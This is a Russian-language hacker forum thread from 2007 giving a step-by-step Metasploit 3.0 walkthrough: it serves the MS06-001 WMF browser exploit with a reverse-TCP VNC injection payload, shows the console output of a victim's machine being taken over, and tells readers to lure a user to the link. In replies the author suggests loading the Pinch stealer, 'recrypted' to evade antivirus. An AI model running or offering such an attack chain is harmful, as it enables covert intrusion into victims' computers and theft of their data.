Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   TotalControl (учимся юзать VNC или Metaspoit Framework часть 5). (https://forum.antichat.xyz/showthread.php?t=38434)

-=lebed=- 20.04.2007 17:20

TotalControl (учимся юзать VNC или Metaspoit Framework часть 5).
 
TotalControl (учимся юзать VNC или MSF 3.0 часть 5).

Предисловие.

Кто не знает что такое MSF 3.0 читайте статьи 1-4.
Долго ждали релиза Metasploit Framework 3.0 и наконец-то дождались!
Рекомендую к прочтению пользовательский мануал на русском, любезно переведённый n0ne. читать мануал
В релизе очень много изменений, по сравнению даже с версией 3.0 beta 3. Остановлюсь на нескольких главных:
1.) Все сплоиты переписаны на Ruby, самих сплоитов естественно больше, уже 186 (после апдейта).
2.) Сплоиты лежат в подпапках по типам целей (уязвимых систем, браузеров, сервисов и т.п), при использовании надо указывать полный путь (копипастим, после команды show exploits нужный сплоит, чтоб не набирать).
3.) Консоль перенесена полностью в веб-интерфейс и сделана на javascript.
4.) Добавлены многофункциональные начинки по механизму соединения: PassiveX, по функционалу: Meterpreter, Win32 DLL Injection, VNC сервера, также добавлены генераторы (обсфускаторы) кода сплоитов.
5.) Добавлена поддержка SOCKS и HTTP прокси (стабильна цепочка до 5 - говорят в мануале, но нам и одного анонимного хватит).
6.) Тут будут добавления...
Сразу скажу о главном недостатке: Так как используется интерпретатор Ruby+ эмуляция консоли в WEB-интерфейсе - наблюдаются ощутимые тормоза при работе в консоли. Для меня актуально, так как весь пакет у меня стоит ещё в добавок в гостевой ОС, но если вы поставите его в основную систему то наверно дискомфорта можете и не заметить. Виртуальная система по производительности соответствует Pentium-II-433 с 512 RAM - так, что обладатели старых компьютеров тоже могут ощутить
медленную работу в WEB-интерфейсе. Жаль, что не оставили просто консоль (может где-то и есть, надо просто покопаться).

1. Обзор необычных, продвинутых, многофунциональных начинок.

а) PassiveX - ну об этом типе начинок я не писал ещё, обратимся к ману и посмотрим, чем хорош этот тип начинки. Ага грузит произвольный элемент управления ActiveX. Начинки такого типа патчат реестр системы цели и заставляют взломанный процесс запустить браузер с URL, который соединится с Framework. Вообщем комп жертвы становится веб-сервером, который может принимать и отправляет запросы. Взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX. В дополнение к начальной начинке PassiveX модуля прилагаются ещё три (Meterpreter, Win32 DLL Injection, VNC сервер). Когда мы используем любую начинку этого типа, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом по HTTP трафику. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0). Вообщем специфичный тип начинок, прокатит только, где есть Осёл 6.0. Хотя механизм очень интересен.

б) Meterpreter - ну я уже о нем писал в 4 части статей по MSF, тут всё остаётся так же. Скажу только, то, что это продвинутый шелл, который позволяет расширять свой функционал динамически, т. е. когда мы в нём, ну типа автоапдейта (обновляет сам себя). Ну немного повторюсь и рассмотрю подробнее этот тип начинок: делаем show payloads в консоли и смотрим:
Цитата:

windows/meterpreter/bind_tcp Windows Meterpreter, Bind TCP Stager - просто биндит порт Стадии
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager Пассивно реверсивно туннелирует Стадию по HTTP-протоколу - вот он PassiveX - тип начинки. Прокатывает только с IE 6.0
windows/meterpreter/reverse_ord_tcp Windows Meterpreter, Reverse Ordinal TCP Stager реверсивный порядок TCP Стадии
windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager просто реверс Стадия
Вобщем отличие как в способе соединения (имеем 3 шт. back-connect варианта начинки meterpreter) + 1 простой бинд порта. Туннелирование, как вы поняли, позволит нам обойти фильтрацию файрволов по типу трафика но если нет на целевой системе Осла - нам ничего не даст (см. описание механизма. соединения PassiveX выше). Вообщем на этом типе начинок, я останавливаться подробно не буду, так как было описано в предыдущей статье.

в) Win32 DLL Injection - Читающим статьи Криса Касперски должно быть известно такое название. Вобщем этот тип начинок способен внедрить в память любую DLL в комбинации с любым Win32 эксплоитом в память взломанного процесса. Эти начинки не записывают ничего на диск DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC. Ну да инжект рулит, внедрение в процесс, тут тебе и обход
файрволов и т. д. (правда если есть контроль компонентов то запалится). Вообщем делайте свою DLL и можете закинуть на комп жертвы! А можно и выбрать какую либо, например бажную и взломать уже через её повторно. :D . Я на этом подробно отсанавливаться не буду, так как больший интерес этот тип начинок представляет для тех, кто кодит и пишет свои dll.

г) VNC сервер - самое "вкусное" - это не что иное как удалённый рабочий стол с обычным привычным интерфейсом, таким как у сервера терминалов или Радмина! Тут используется механизм инжектирования dll во взломанный процесс (см. метод описанный выше). Но саму dll нам уже предоставили! Она и выполняет функции VNC-сервера - передаёт нам содержимое рабочего стола взломанного компа. Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пытаться получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only режим. То есть в этом режиме мы сможем только просматривать содержимое рабочего стола (как режим view у Радмина) . Если получим полный доступ то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилегированный пользователь, а взломанный сервис имеет привилегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe-проводника.. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Есть несколько ситуаций, когда VNC-сервер не будет работать. Вообщем если переменные окружения взломанной системы имеют специфические значения, которые критичны для эксплоита или метода внедрения, то облом!

3. Практическое использование VNC-сервера (инжект vncdll.dll во взломанный процесс).

1. Запускаем пакет MSF. грузится долго у меня в гостевой ОС. Выключим KIS 6.0 чтоб не надоедал (проактивная защита)
2. Топаем на Вебсервер метасплоита, запускаем консоль.
Код:

                                Welcome to the Metasploit Web Console!
                               


           

                ##                          ###          ##    ##
 ##  ##  #### ###### ####  #####  #####    ##    ####        ######
####### ##  ##  ##  ##        ## ##  ##    ##  ##  ##  ###  ##
####### ######  ##  #####  ####  ##  ##    ##  ##  ##  ##    ##
## # ##    ##  ##  ##  ## ##      #####    ##  ##  ##  ##    ##
##  ##  #### ###  #####  #####    ##  ####  ####  #### ###
                                      ##


      =[ msf v3.0
+ -- --=[ 186 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
      =[ 33 aux

3. смотрим сплоиты...
Код:

>> show exploits


Exploits
========

  Name                                      Description                                                                     
 ------- пропущено -----------                                                               
  windows/browser/ms06_001_wmf_setabortproc  Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution                             
  windows/browser/ie_createobject            Internet Explorer COM CreateObject Code Execution                               
  windows/browser/ie_iscomponentinstalled    Internet Explorer isComponentInstalled Overflow   
---- пропущено -----

4. Выбираем WMF-сплоит...
Код:

use windows/browser/ms06_001_wmf_setabortproc
5. Смотрим инфу по нём:
Код:

info windows/browser/ms06_001_wmf_setabortproc


      Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
    Version: 4647
  Platform: Windows
 Privileged: No
    License: Metasploit Framework License

Provided by:
  hdm <hdm@metasploit.com>
  san <san@xfocus.org>
  O600KO78RUS <O600KO78RUS@unknown.ru>

Available targets:
  Id  Name                           
  --  ----                           
  0  Windows XP/2003/Vista Automatic 

Basic options:
  Name    Current Setting  Required  Description                                         
  ----    ---------------  --------  -----------                                         
  SRVHOST  10.0.3.84        yes      The local host to listen on.                       
  SRVPORT  8080            yes      The local port to listen on.                       
  URIPATH                  no        The URI to use for this exploit (default is random) 

Payload information:
  Space: 1220
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the GDI library included
  with Windows XP and 2003. This vulnerability uses the 'Escape'
  metafile function to execute arbitrary code through the SetAbortProc
  procedure. This module generates a random WMF record stream for each
  request.

References:
  http://www.microsoft.com/technet/security/bulletin/MS06-001.mspx
  http://www.securityfocus.com/bid/16074
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-4560
  http://www.osvdb.org/21987
  http://milw0rm.com/metasploit/111
  http://www.microsoft.com/technet/security/advisory/912840.mspx
  http://wvware.sourceforge.net/caolan/ora-wmf.html
  http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt

6. Задаём необходимые параметры:
Код:

>> set LHOST 10.0.3.84

LHOST => 10.0.3.84

>> set URIPATH sploit

URIPATH => sploit

7. Смотрим начинки...
Код:

>> show payloads


Compatible payloads
===================

  Name                                  Description                                                                     
  -------------- пропущено -------------------------
Stager                             
  windows/upexec/reverse_tcp            Windows Upload/Execute, Reverse TCP Stager                                     
  windows/vncinject/bind_tcp            Windows VNC Inject, Bind TCP Stager                                             
  windows/vncinject/reverse_http        Windows VNC Inject, PassiveX Reverse HTTP Tunneling Stager                     
  windows/vncinject/reverse_ord_tcp      Windows VNC Inject, Reverse Ordinal TCP Stager                                 
  windows/vncinject/reverse_tcp          Windows VNC Inject, Reverse TCP Stager

8. windows/vncinject/reverse_tcp - самое то, это и есть VNC сервер, который мы инжектируем во взломанный процесс. Выбираем это начинку:
Код:

>> set PAYLOAD windows/vncinject/reverse_tcp

PAYLOAD => windows/vncinject/reverse_tcp

9. Всё готово, можно коммандовать exploit!
Код:

>> exploit
[*] Started reverse handler
[*] Using URL: http://10.0.3.84:8080/sploit
[*] Server started.
[*] Exploit running as background job.

10. Впариваем ссылку на страницу, поднятую метасплоитом, которая будет эксплуатировать уязвимость системной библиотеки в обработке метафайлов.
Код:

[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (340049 bytes)...
[*] Upload completed.
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] VNC Server session 1 opened (10.0.3.84:4444 -> 10.0.3.118:1052)

11. Ага, клиент попался... запустим VNCViewer из Tools и приконнектимся к взломанной машине.
Вот так мы взломали удалённо компьютер юзверя и получили удалённый рабочий стол с возможностью выполнения комманд. Примечательно, то что сервер VNC невиден в процессах, так как он исполнен в виде dll, которая инжектированна в взломанный процесc run32dll.exe - и он будет жить до тех пор, пока не грохнут родителя (run32dll.exe).

4. Заключение.

Вот так мы испытали технику инжектирования dll во взломанный процесс и удачно получили доступ к рабочему столу юзверя. Снял видео по взлому, кому интересно качать тут (55 метров в ахиве)

-=lebed=- (с) специально для Античат.

отдельное спасибо n0ne за перевод мануала MSF 3.0 (использовал инфу с его перевода мануала MSF 3.0)
Кстать n0ne, как там дела с переводом мана для разработчиков?

Slon 20.04.2007 17:41

за статью +1

Ты кстати не знаешь, как это vnc inject замутить руками, имея только cmd шелл, ипользуя например ту же самую vncdll.dll

-=lebed=- 20.04.2007 17:48

Цитата:

Сообщение от Slon
за статью +1

Ты кстати не знаешь, как это vnc inject замутить руками, имея только cmd шелл, ипользуя например ту же самую vncdll.dll

dll надо подгрузить к чему-то, к какому либо процессу. А нафиг так делать, я не монял, если есть шелл подгружай что хочешь, хоть VNC-сервер нормальный (не переделанный в dll). Вообщем как сделать через обычный шелл cmd - я пока не знаю, не уверен, что это возможно. Вот только если подменить какую стандарную dll, на эту...

Slon 20.04.2007 17:56

Ну не только cmd шелл, еще файлы загружать в систему можно.
Просто я не особо шарю в таком, интересно было узнать, как написать exe-шник, который грузит в память эту dll-ку и запускает vnc. Просто есть фишки, которые через cmd шелл не сделаешь, а через vnc в самый раз

-=lebed=- 20.04.2007 18:03

Цитата:

Сообщение от Slon
Ну не только cmd шелл, еще файлы загружать в систему можно.
Просто я не особо шарю в таком, интересно было узнать, как написать exe-шник, который грузит в память эту dll-ку и запускает vnc. Просто есть фишки, которые через cmd шелл не сделаешь, а через vnc в самый раз

Млин, а я про что тут писал? Про ПРОДВИНУТЫЕ НАЧИНКИ! Тут тебе и инжект и пассивХ и VNC-инжект!
Загрузить файлы в систему и исполнить exe - используй такую начинку (кликай по цифре 2 у меня в подписи и читай). А уж какой exe будет грузится с инжектом или нет - это другое дело, бери Пинча и грузи (тока перекриптуй хорошо, на сколько мне известно он инжект использует).

Slon 20.04.2007 18:09

Я тут немного о другом спрашивал, а именно код программы которая при запуске будет грузить эту длл-ку в память (не используя маетасплоит)

-=lebed=- 23.04.2007 11:50

Млин, снял видео по взлому по этой статье. 55 метров получилось в архиве! наверно из-за того, что 1280x1024 сделал, куда мона это хозяйство залить? Щас перекодирую, правда в качестве потеряю...

Alexsize 23.04.2007 12:41

И опять таки сорри если не в тему, автор то старался, но видео уже есть на милворме.

-=lebed=- 23.04.2007 12:48

Цитата:

Сообщение от Alexsize
И опять таки сорри если не в тему, автор то старался, но видео уже есть на милворме.

Там его много по MSF - я знаю, ссыли сам на него давал... чёт не могу найти норм конвертер, щас на рапиду залью видео...

-=lebed=- 23.04.2007 13:32

Залил на Рапиду, качайте (линк в статье) или вот он http://rapidshare.com/files/27458303/VNC-______.zip


Время: 18:03